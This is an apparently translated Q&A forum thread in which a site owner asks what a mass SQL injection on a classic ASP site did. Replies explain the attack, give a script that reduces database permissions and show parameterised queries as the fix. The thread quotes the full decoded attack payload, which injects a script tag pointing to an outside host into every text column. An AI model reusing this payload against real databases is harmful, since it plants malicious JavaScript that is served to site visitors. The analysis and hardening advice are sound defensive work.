prevenir - ¿Puede alguien explicarme este ataque de inyección SQL?
sql injection ejemplos reales (5)
Considere la posibilidad de instalar URLScan 3.1 para proteger rápidamente su aplicación de los intentos de inyección de sql, así como también a través de su aplicación para desinfectar correctamente sus declaraciones sql.
Este tipo de ataque de inyección sql también suele funcionar porque su usuario de base de datos tiene permisos que son demasiado flojos, por ejemplo, derechos DBO. Intente conectarse a su base de datos desde su aplicación usando un usuario de base de datos con solo los derechos necesarios para ejecutar su aplicación. Puede crear un usuario de base de datos, asignarlo a su base de datos con derechos públicos únicamente que ejecutar un script como el siguiente para aplicar los derechos individuales necesarios a cada objeto que necesite.
DECLARE @LOGIN varchar(255)
DECLARE @DB varchar(255)
SELECT @LOGIN = ''yourdbuser''
SELECT @DB = ''yourdb''
/* set default database */
EXEC sp_defaultdb @LOGIN, @DB
/* drop system admin role */
EXEC sp_dropsrvrolemember @LOGIN, ''sysadmin''
/* drop database owner role */
EXEC sp_droprolemember ''db_owner'', @LOGIN
/* grant execute on all non system stored procedures and scalar functions */
DECLARE @SP varchar(255)
DECLARE Proc_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type=''P'' or type=''FN'')
AND category <> 2 -- system
OPEN Proc_Cursor
FETCH NEXT FROM Proc_Cursor INTO @SP
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC (''GRANT EXECUTE ON [''+@SP+''] TO [''+@LOGIN+'']'')
FETCH NEXT FROM Proc_Cursor INTO @SP
END
CLOSE Proc_Cursor
DEALLOCATE Proc_Cursor
/* grant select on table functions */
DECLARE @TF varchar(255)
DECLARE Tf_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type=''TF'')
AND category <> 2 -- system
OPEN Tf_Cursor
FETCH NEXT FROM Tf_Cursor INTO @TF
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC (''GRANT SELECT ON [''+@TF+''] TO [''+@LOGIN+'']'')
FETCH NEXT FROM Tf_Cursor INTO @SP
END
CLOSE Tf_Cursor
DEALLOCATE Tf_Cursor
/* grant select/update/insert/delete on all user defined tables */
DECLARE @T varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type=''U'' or type=''V'') -- user defined tables and views
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC (''GRANT SELECT, UPDATE, INSERT, DELETE ON [''+@T+''] TO [''+@LOGIN+'']'')
FETCH NEXT FROM Table_Cursor INTO @T
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
/* deny access to system tables */
DENY SELECT ON syscolumns TO yourdbuser
DENY SELECT ON sysobjects TO yourdbuser
DENY VIEW DEFINITION TO yourdbuser
DENY SELECT ON sys.databases TO yourdbuser
DENY SELECT ON sys.columns TO yourdbuser
DENY SELECT ON sys.objects TO yourdbuser
DENY SELECT ON sys.sql_logins TO yourdbuser
DENY SELECT ON sys.all_columns TO yourdbuser
DENY SELECT ON sys.all_objects TO yourdbuser
DENY SELECT ON sys.all_parameters TO yourdbuser
DENY SELECT ON sys.all_views TO yourdbuser
Obviamente, pruebe esto en su aplicación específica ya que puede tener procedimientos que requieran la capacidad de seleccionar de estas tablas de sistema.
Quería publicar esto aquí porque está muy relacionado con la codificación y fue algo que tuve que limpiar esta semana en uno de los sitios ASP (clásicos) de mi empresa.
Nos golpeamos con el ataque de inyección SQL que se ejecutó hace unos días, pero me estoy rascando la cabeza ¿QUÉ exactamente fue el "daño" para el servidor SQL (a través de estas consultas SQL).
Para ser sincero, pensé que era muy ingenioso la forma en que esto se llevó a cabo, y es culpa de mis empresas por tener un sitio viejo de 10 años con poca o ninguna información desinfectada.
El ataque:
122 + declare +% 40s + varchar% 284000% 29 + set +% 40s% 3Dcast% + como + varchar% 284000% 29% 29 + exec% 28% 40s% 29-
Lo que decodifica: (lo que quiero entender)
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in (''nvarchar'',''varchar'',''ntext'',''text'') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type=''BASE TABLE'' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(''UPDATE [''+@T+''] SET [''+@C+'']=''''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''''+RTRIM(CONVERT(VARCHAR(6000),[''+@C+''])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),[''+@C+''])),17)<>''''"></title><script'''' '') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Recuperamos una copia de seguridad (preinyección) y revisamos toda la aplicación y desinfectamos todas las declaraciones de entrada. Nuestro servidor tiene cortafuegos, por lo que no hay acceso directo a SQL, sin embargo, quiero saber qué más podría sobrar, y tengo que admitir que la consulta SQL está por encima de mi cabeza.
¿Puede alguien probarlo y explicarme el ataque SQL?
DISCULPAS ACTUALIZÉ EL VOLUMEN COMPLETO Y SQL
Creo que está tratando de insertar cadenas codificadas para todas las columnas de texto en su base de datos. Consulta esta referencia: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html
Espero que ayude en cierto sentido
Está recorriendo todas las columnas en todas las tablas y actualizando su valor agregando una etiqueta <script>
cuyos puntos de origen en un archivo JS malicioso.
El bit importante es
DECLARE Table_Cursor CURSOR FOR
select c.TABLE_NAME,c.COLUMN_NAME from
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t
where c.DATA_TYPE in
Supongo que algo se omitió aquí y la declaración probablemente terminó con algo como (''varchar'', ''char'', ''text'') o algo similar, por lo que solo intenta actualizar las columnas que contienen texto. Esperan que una de las columnas contenga texto que ingresa a su sitio web, por lo que luego de agregar su referencia JS, se incluirá en el origen de varias páginas.
Para solucionar esto, debe hacer algo similar: recorrer todas las columnas que contienen texto y reemplazar el script inyectado con una cadena vacía. Google será tu amigo aquí, pero aquí hay un enlace bastante atractivo que debería ser útil para configurar un script para hacer eso.
Mire cambiar sus consultas de esta manera;
Dim oConn, oRS, SQL
''Query open to attack
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id")
Set oConn = Server.CreateObject("ADODB.Connection")
Call oConn.Open(conn_string_from_inc)
Set oRS = oConn.Execute(SQL)
Call oConn.Close()
Set oConn = Nothing
Para algo como esto;
Dim oCmd, oRS, SQL
SQL = "SELECT * FROM [Table] WHERE [id] = ?"
Set oCmd = Server.CreateObject("ADODB.Command")
With oCmd
.ActiveConnection = conn_string_from_inc
.CommandType = adCmdText
.CommandText = SQL
Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4))
.Parameters("@id").Value = Request.QueryString("id")
Set oRS = .Execute()
End With
Set oCmd = Nothing
Este es solo un ejemplo crudo de combatir la Inyección SQL sin recurrir a la desinfección de entrada. Todavía me acercaría a esto de manera diferente.
Simplemente formatearlo para la legibilidad aclarará mucho:
set ansi_warnings off
DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
select c.TABLE_NAME, c.COLUMN_NAME
from INFORMATION_SCHEMA.columns c,
INFORMATION_SCHEMA.tables t
where c.DATA_TYPE in (''nvarchar'',''varchar'',''ntext'',''text'')
and c.CHARACTER_MAXIMUM_LENGTH > 30
and t.table_name = c.table_name
and t.table_type = ''BASE TABLE''
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ( ''UPDATE ['' + @T + '']
SET ['' + @C + ''] =
''''"></title>'''' +
''''<script src="http://lilXXXXXXXop.com/sl.php"></script>'''' +
''''<!--'''' +
RTRIM(CONVERT(VARCHAR(6000),['' + @C + '']))
WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),['' + @C + ''])), 17)
<> ''''"></title><script''''
''
)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Pasa por cada columna de texto de cada tabla e inserta algo de HTML en ella: HTML que contiene un puntero a JavaScript generado externamente.